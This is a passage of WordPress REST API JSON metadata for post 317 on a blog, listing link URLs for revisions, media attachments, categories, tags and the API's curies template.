index.php\/wp-json\/wp\/v2\/posts\/317\/revisions\/1049"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=317"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=317"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=317"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}